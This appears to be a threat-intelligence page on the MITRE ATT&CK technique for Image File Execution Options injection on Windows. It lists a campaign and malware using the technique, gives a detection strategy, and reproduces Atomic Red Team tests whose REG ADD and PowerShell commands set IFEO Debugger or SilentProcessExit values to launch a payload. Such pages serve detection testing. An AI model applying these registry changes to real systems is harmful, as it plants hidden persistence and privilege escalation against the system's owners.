tfMITRE ATT&CK sub-technique

Image File Execution Options Injection T1546.012

sub-technique of T1546 Event Triggered Execution

Tactics: Persistence, Privilege Escalation
Platform: Windows
Version: 1.2
Created: 24 January 2020
Last modified: 12 May 2026
Contributor: Oddvar Moe, @oddvarmoe

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe).[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware51st pct

Tools & malware51st percentile · 51% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules60th pct

Detection rules60th percentile · 60% of ATT&CK techniques have this many detection rules written or fewer.

Image File Execution Options Injection MITRE reference T1546.012

72nd pctamong all ATT&CK techniques for number of campaigns

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

C0032C0032 ↗

During the C0032 campaign, TEMP.Veles modified and added entries within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options to maintain persistence.1

2014–2017

All 1 campaigns for this technique

2 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

SUNBURSTS0559 ↗

Created an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe to trigger the installation of Cobalt Strike.1

created 2021-01-05MALWAREcarried by 1 group

SDBbotS0461 ↗

Has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7.1

created 2020-06-01MALWAREcarried by 1 group

All 2 software entries for this technique

Offense vs defense T1546.012

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 2

first rule: 2018 Q2 · 1 of 1 campaigns plotted

Image File Execution Options Injection detection strategy DET0422

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for IFEO Injection on Windows

Enterprise

1 platform

AN1186 · Windows

Registry key modifications under IFEO paths (e.g., Debugger value set under Image File Execution Options), especially for security-related or accessibility binaries, followed by anomalous process execution with debugger flags or SYSTEM-level access at login. Detectable by correlating registry modifications, process creation, and parent-child anomalies with unusual command-line usage or access tokens.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
Windows Registry Key CreationDC0056	WinEventLog:Sysmon	EventCode=12
Windows Registry Key ModificationDC0063	WinEventLog:Security	EventCode=4657

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Time delta for correlating registry modification and debugger-triggered execution
TargetBinary	Specific executables that trigger defenders’ alerts when IFEO values are set
ParentProcessAnomaly	Tunable logic for detecting parent-child anomalies (e.g., non-standard parent processes)
TokenElevationContext	May require tuning based on normal SYSTEM or admin process elevation patterns

Tests3Executorscmd 2 · PowerShell 1Need elevation3 of 3Have prerequisites0Have cleanup3Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

IFEO Add Debugger

windows

cmd

Required

—

Yes

Leverage Global Flags Settings

Input arguments

Name	Type	Default	Description
target_binary	path	calc.exe	Binary To Attach To
payload_binary	path	C:\Windows\System32\cmd.exe	Binary To Execute

Attack command

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

Cleanup command

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1

GUIDe60d9f7b-7a8c-43e4-9bf5-accdcff62977

IFEO Global Flags

windows

cmd

Required

—

Yes

Leverage Global Flags Settings

Input arguments

Name	Type	Default	Description
target_binary	path	notepad.exe	Binary To Attach To
payload_binary	path	C:\Windows\System32\cmd.exe	Binary To Execute

Attack command

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"

Cleanup command

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1

GUIDbcf5d7e4-bb67-47fb-86c2-cc5158683e61

GlobalFlags in Image File Execution Options

windows

PowerShell

Required

—

Yes

The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed. Upon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. Upon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.

Input arguments

Name	Type	Default	Description
process	string	whoami.exe	Process to monitor
cmd_to_run	string	cmd.exe /c calc.exe	Command to execute

Attack command

$Name = "GlobalFlag"
$Value = "512"
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "ReportingMode"
$Value = "1"
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"
New-Item -Path $SilentProcessExit -Force
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force 

$Name = "MonitorProcess"
$Value = "#{cmd_to_run}"
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force
Start-Process whoami.exe

Cleanup command

$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}" 
Remove-Item $SilentProcessExit -force
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
Remove-Item $registryPath -force

GUID5b88a824-afb8-46a3-91ed-5741cf3b25f8

Tests from Atomic Red Team (MIT licence) · technique definition

Image File Execution Options Injection detections T1546.012

4 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

60th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs